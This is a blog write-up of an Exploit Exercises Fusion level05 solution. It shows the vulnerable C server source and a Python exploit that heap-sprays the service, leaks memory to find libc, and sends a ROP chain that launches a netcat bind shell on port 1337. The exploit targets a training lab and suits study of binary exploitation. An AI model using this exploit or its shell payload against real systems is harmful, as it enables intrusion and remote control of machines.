# Exploit Exercise Binary Exploitation Fusion Level 05

Posted by Suraj Singh on October 09, 2018 · 54 mins read
Hello Crazy Hackers

Welcome Again To My Blog, Well.. well.. readers, Today, I am going to share my solution for Exploit Exercise Fusion Level 05 Challenge. Before Continuing. I Just want to say "WT F! It was Insane for me!! But I Can't Believe it That I have done it". This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge. Good Luck!

### Source Code

`#include "../common/common.c"    #include <task.h>#define STACK (4096 * 8)unsigned int hash(unsigned char *str, int length, unsigned int mask){  unsigned int h = 0xfee13117;  int i;  for(h = 0xfee13117, i = 0; i < length; i++) {      h ^= str[i];      h += (h << 11);      h ^= (h >> 7);      h -= str[i];  }  h += (h << 3);  h ^= (h >> 10);  h += (h << 15);  h -= (h >> 17);  return (h & mask);}void fdprintf(int fd, char *fmt, ...){  va_list ap;  char *msg = NULL;  va_start(ap, fmt);  vasprintf(&msg, fmt, ap);  va_end(ap);  if(msg) {      fdwrite(fd, msg, strlen(msg));          free(msg);  }}struct registrations {  short int flags;  in_addr_t ipv4;} __attribute__((packed));#define REGDB (128)struct registrations registrations[REGDB];static void addreg(void *arg){  char *name, *sflags, *ipv4, *p;  int h, flags;  char *line = (char *)(arg);    name = line;  p = strchr(line, ' ');  if(! p) goto bail;  *p++ = 0;  sflags = p;  p = strchr(p, ' ');  if(! p) goto bail;  *p++ = 0;  ipv4 = p;  flags = atoi(sflags);  if(flags & ~0xe0) goto bail;  h = hash(name, strlen(name), REGDB-1);  registrations[h].flags = flags;  registrations[h].ipv4 = inet_addr(ipv4);  printf("registration added successfully\n");bail:  free(line);}static void senddb(void *arg){  unsigned char buffer[512], *p;  char *host, *l;  char *line = (char *)(arg);  int port;  int fd;  int i;  int sz;  p = buffer;  sz = sizeof(buffer);  host = line;  l = strchr(line, ' ');  if(! l) goto bail;  *l++ = 0;  port = atoi(l);  if(port == 0) goto bail;  printf("sending db\n");  if((fd = netdial(UDP, host, port)) < 0) goto bail;  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {      if(registrations[i].flags | registrations[i].ipv4) {          memcpy(p, &registrations[i], sizeof(struct registrations));          p += sizeof(struct registrations);          sz += sizeof(struct registrations);      }  }bail:  fdwrite(fd, buffer, sz);  close(fd);  free(line);}int get_and_hash(int maxsz, char *string, char separator){  char name[32];  int i;    if(maxsz > 32) return 0;  for(i = 0; i < maxsz, string[i]; i++) {      if(string[i] == separator) break;      name[i] = string[i];  }  return hash(name, strlen(name), 0x7f);}struct isuparg {  int fd;  char *string;};static void checkname(void *arg){  struct isuparg *isa = (struct isuparg *)(arg);  int h;  h = get_and_hash(32, isa->string, '@');    fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");}static void isup(void *arg){  unsigned char buffer[512], *p;  char *host, *l;  struct isuparg *isa = (struct isuparg *)(arg);  int port;  int fd;  int i;  int sz;  // skip over first arg, get port  l = strchr(isa->string, ' ');  if(! l) return;  *l++ = 0;  port = atoi(l);  host = malloc(64);  for(i = 0; i < 128; i++) {      p = (unsigned char *)(& registrations[i]);      if(! registrations[i].ipv4) continue;      sprintf(host, "%d.%d.%d.%d",          (registrations[i].ipv4 >> 0) & 0xff,          (registrations[i].ipv4 >> 8) & 0xff,          (registrations[i].ipv4 >> 16) & 0xff,          (registrations[i].ipv4 >> 24) & 0xff);      if((fd = netdial(UDP, host, port)) < 0) {          continue;      }      buffer[0] = 0xc0;      memcpy(buffer + 1, p, sizeof(struct registrations));      buffer[5] = buffer[6] = buffer[7] = 0;      fdwrite(fd, buffer, 8);      close(fd);  }  free(host);}static void childtask(void *arg){  int cfd = (int)(arg);  char buffer[512], *n;  int r;    n = "** welcome to level05 **\n";  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;  while(1) {      if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;      n = strchr(buffer, '\r');      if(n) *n = 0;      n = strchr(buffer, '\n');      if(n) *n = 0;      if(strncmp(buffer, "addreg ", 7) == 0) {          taskcreate(addreg, strdup(buffer + 7), STACK);          continue;      }      if(strncmp(buffer, "senddb ", 7) == 0) {          taskcreate(senddb, strdup(buffer + 7), STACK);          continue;      }      if(strncmp(buffer, "checkname ", 10) == 0) {          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);          isa->fd = cfd;          isa->string = strdup(buffer + 10);          taskcreate(checkname, isa, STACK);          continue;      }        if(strncmp(buffer, "quit", 4) == 0) {          break;      }      if(strncmp(buffer, "isup ", 5) == 0) {          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);          isa->fd = cfd;          isa->string = strdup(buffer + 5);          taskcreate(isup, isa, STACK);      }  }bail:  close(cfd); }void taskmain(int argc, char **argv){  int fd, cfd;  char remote[16];  int rport;      signal(SIGPIPE, SIG_IGN);  background_process(NAME, UID, GID);   if((fd = netannounce(TCP, 0, PORT)) < 0) {      fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));      taskexitall(1);  }  fdnoblock(fd);  while((cfd = netaccept(fd, remote, &rport)) >= 0) {      fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);      taskcreate(childtask, (void *)(cfd), STACK);  }  }`

### Hint

`Even more information leaks and stack overwrites. This time with random libraries / evented programming styles :>Vulnerability Type StackPosition Independent Executable YesRead only relocations NoNon-Executable stack YesNon-Executable heap YesAddress Space Layout Randomisation YesSource Fortification Yes`

### Exploit Code.

`#!/usr/bin/pythonimport socketimport structimport timeimport telnetlibimport stringimport sysfrom struct import pack# Configurationv = ('127.0.0.1', 20005)CMD = 'A'*20HEAPDUMP = CMDHEAPDUMP += 'A'*(400-len(CMD)) #HEAPDUMP += '\x04'#exit(0)# Important Variables []FD = 0ARGU= 0LIBC= 0if '127.0.0' in v[0]: print '[*] Using local settings' TIMEOUT = 0.1 SPRAYTIME = 0.00001else: TIMEOUT = 0.3 SPRAYTIME = 0.0001# create connectiondef connect(IP, PORT): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) return s# recv bytesdef recv(s, bytes): s.settimeout(TIMEOUT) try:  r = s.recv(bytes) except Exception as e:  r = '' return r# send bytesdef send(s, data, listen=False): s.send(data+'\n') if listen:  return recv(s, 1024) return False# checknamedef check(s, data, listen): return send(s, 'checkname '+data, listen=listen)# addref functiondef add(s, data): send(s, 'addreg '+data+ ' 64 1.1.7.1') return send(s,'checkname '+data)# isupdef isup(s, data): s.send('isup {}\n'.format(data), False) return""" Start Addr   End Addr       Size     Offset objfile 0x8f94d000 0xb764d000 0x27d00000          0         0xb764d000 0xb768f000    0x42000          0         0xb768f000 0xb7805000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so 0xb7805000 0xb7807000     0x2000   0x176000       /lib/i386-linux-gnu/libc-2.13.so 0xb7807000 0xb7808000     0x1000   0x178000       /lib/i386-linux-gnu/libc-2.13.so 0xb7808000 0xb780b000     0x3000          0         0xb7815000 0xb7817000     0x2000          0         0xb7817000 0xb7818000     0x1000          0           [vdso] 0xb7818000 0xb7836000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 0xb7836000 0xb7837000     0x1000    0x1d000       /lib/i386-linux-gnu/ld-2.13.so 0xb7837000 0xb7838000     0x1000    0x1e000       /lib/i386-linux-gnu/ld-2.13.so 0xb7838000 0xb783e000     0x6000          0       /opt/fusion/bin/level05 0xb783e000 0xb783f000     0x1000     0x6000       /opt/fusion/bin/level05 0xb783f000 0xb7842000     0x3000          0         0xb8110000 0xb8131000    0x21000          0           [heap] 0xb8131000 0xbf873000  0x7742000          0           [heap] 0xbf883000 0xbf8a4000    0x21000          0           [stack]"""# heap spraydef spray(s, num=0x7c685): print '[+] Spray Started. ' print '[+] Please wait. Minimum Time : 50 sec | Maximum : 140+ sec' for i in range(num):        time.sleep(SPRAYTIME)        isup(s, HEAPDUMP) print '[+] Spray End..' return# Finding File Descriptor def find_fd(s): print '[*] This Process Can Take Nearly 0-60 Sec.' rc2 = 0 rc3 = 0 rc1 = check(s, 'A'*20, True) if rc1:  print '[+] Process Started.'  print rc1 else:  print '[+] Server not Responding.'  exit(0) for i in range(0xb5010101, 0xb501ffff):  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):   continue  #sys.stdout.write('\r [+] Trying : {}'.format(hex(i)))  #sys.stdout.flush()  #i = 0xb601328c  rc1 = check(s, 'A'*32+struct.pack('I', i), True)  print '[+] Trying : ', hex(i), rc1  #exit(0)  if rc1:   print '[+] May We Find It. Let me conform it.', hex(i)   rc2 = check(s, 'B'*32+struct.pack('I', i), True)   rc3 = check(s, 'B'*32+struct.pack('I', i), True)   if (rc1 and rc2 and rc3):    print [struct.pack('I', i)], hex(i)    if raw_input('[+] Press Enter To Find Another One Or Type [Y] : '):     return i return 0# get libc addressdef adjust(s, g, i): return int(((i >> 4) << 4)+0x42000) # < ! Maybe here --> hex(((i >> 12)<< 12)+0x42000)# leak data analyserdef dumpcollect(s, g, ARGU, LIBC): offset = 4 while True:  i = g+offset   # Conditions To Avoid Bad Characters  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):   offset += 1                        continue  if (LIBC!=0):   return (ARGU, LIBC)     rc = check(s, 'A'*32+struct.pack('I', g)+struct.pack('I', i), True)  if rc:   rc = rc.replace(' is not indexed already\n', '')   if (('taskmain' in rc) or ('skmain' in rc) or ('main' in rc)):    print "[+] Leak Address : ",[struct.pack('I', g+offset)]    print "[+] Leaked Data  : ",[rc]    LIBC = adjust(s, g, i)    print '[+] Libc Address Detected : ', hex(LIBC)    print('[+] Congrats. Libc Found')    if 'y' in raw_input('[+] Find Again [y/n] : '):     LIBC = 0    print '[+] Current ARGU Address : ', hex(ARGU)   elif ((CMD in rc) and (not ARGU)):    print [struct.pack('I', g+offset)]    print [rc]    ARGU = i    print '[+] CMD Address : ', hex(ARGU)    print('[+] Congrats. CMD Address Detected.')   else:    if len(rc):     offset += len(rc)    else:     offset += 4 return (0, 0)# open /bin/shdef opensh(libc, ptr, ret): r = '' r += struct.pack("I", libc + 0x3cb20) # system r += struct.pack("I", ret) r += struct.pack("I", ptr) # "/bin/sh" return r# Open bind shell : port 1337def openncshell(libcbase): p = "" p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178020) # @ .data p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret  p += "/bin" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178024) # @ .data + 4 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "/nc." p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178028) # @ .data + 8 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "trad" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x0017802c) # @ .data + 12 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "itio" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178030) # @ .data + 16 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "nal " p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178034) # @ .data + 20 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "-ltp" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178038) # @ .data + 24 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "1337" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x0017803c) # @ .data + 28 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += " -e/" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x0017803f) # @ .data + 32 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "/bin" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret p += pack("<I", libcbase + 0x00178043) # @ .data + 36 p += pack("<I", 0x42424242) # padding p += pack("<I", libcbase + 0x000238df) # pop %eax | ret p += "//sh" p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret  p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret  p += pack("<I", libcbase + 0x0003cb20) # system() p += pack("<I", libcbase + 0x000329e0) # exit() #p += '\xcc'*4 p += pack("<I", libcbase + 0x00178020) # @ .data return pdef payload(esi, edi, libc, cmd): PAYLOAD = 'A'*44 PAYLOAD += openncshell(libc) PAYLOAD += '' print [PAYLOAD] if ('\r' in PAYLOAD) or ('\n' in PAYLOAD) or ('@' in PAYLOAD) or ('\r' in PAYLOAD):  print '[+] Ohh Man... I think This Payload will Not work because of NULL characters In Address '  raw_input('[*] Continue... ') return PAYLOADif __name__ == '__main__': if 'spray' in sys.argv:  print '[*] Spray: ', [HEAPDUMP]  raw_input('[+] Spary.. Now.')  print '[+] Calm Down.. Process Take Time To Conform That Server Doesnt Crash During Spray.'  s = connect(*v)                time.sleep(1)                if not recv(s, 1024):                        print '[+] Server Is Not Responsing.,'                        exit(0)  else:   print '[+] I Think Server Is Ready To Exploit.'  # Engage Spray  spray(s)  s.send('quit\n'*2)  print "[+] I think... We done it."  t = telnetlib.Telnet()  t.sock = s  t.interact()  exit(0) elif 'crash' in sys.argv:  raw_input('[+] Want To Crash.. Restart.')                s = connect(*v)                print check(s, 'A'*50, True)                t = telnetlib.Telnet()                t.sock = s                t.interact()                s.send('quit\n'*2) elif 'interact' in sys.argv:                raw_input('[+] Interactive..')                s = connect(*v)  time.sleep(1)  c = recv(s, 1024)  if not c:   print '[+] Server Is Not Responsing.,'   exit(0)                else:   print c                        print '[+] I Think Server Is Ready To Exploit.'  print '[+] Telnet Engaged..'  t = telnetlib.Telnet()  t.sock = s  t.interact()  s.send('quit\n'*2) elif 'leak' in sys.argv:                raw_input('[+] Exploiting..')                s = connect(*v)  time.sleep(1)  c = recv(s, 1024)  if not c:   print '[+] Server Is Not Responsing.,'   exit(0)                else:   print c                        print '[+] I Think Server Is Ready To Exploit.'  # Find File Descriptor  print '[+] Finding FD'  g = FD or find_fd(s)  if not g:   print '[+] Sorry File Descriptor Not Found'   exit(0)  print '[+] FD Selected : ', hex(g)  raw_input('[+] Press Enter To Second Stage.')  print '[+] Addresses Extraction Started.'  ARGU, LIBC = dumpcollect(s, g, ARGU, LIBC)  if (ARGU and LIBC):   print '[+] Data Leak Face Complete.'   print '[-] Information Conformation [-]'   print '\t[+] FD  Address  : ', hex(g)                        print '\t[+] Libc Address : ', hex(LIBC)                        print '\t[+] Argu Address : ', hex(ARGU)  else:   s.send('quit\n'*2)   exit(0)  esi = g  cmd = ARGU  libc = LIBC  edi = 0xb6010101  data = payload(esi, edi, libc, cmd)  check(s, data, False)  raw_input('[*] Want To Close This Pipe.')  s.close() else:  print '[+] Pass Argument Like : leak, spray, crash'def start(args): # Connection Section s = connect(*v) t = telnetlib.Telnet() t.sock = s time.sleep(1) print recv(s, 1024) PAYLOAD = 'A'*32 PAYLOAD += struct.pack('I', 0xba010101) # ESI PAYLOAD += '' # EDI PAYLOAD += '' # EBP PAYLOAD += '' # EIP PAYLOAD += '' print [check(s, 'checkname '+PAYLOAD, True)] t.interact()`

If You can't Understand This Exploit, Then You victory will be meaningless. Do Hard Work!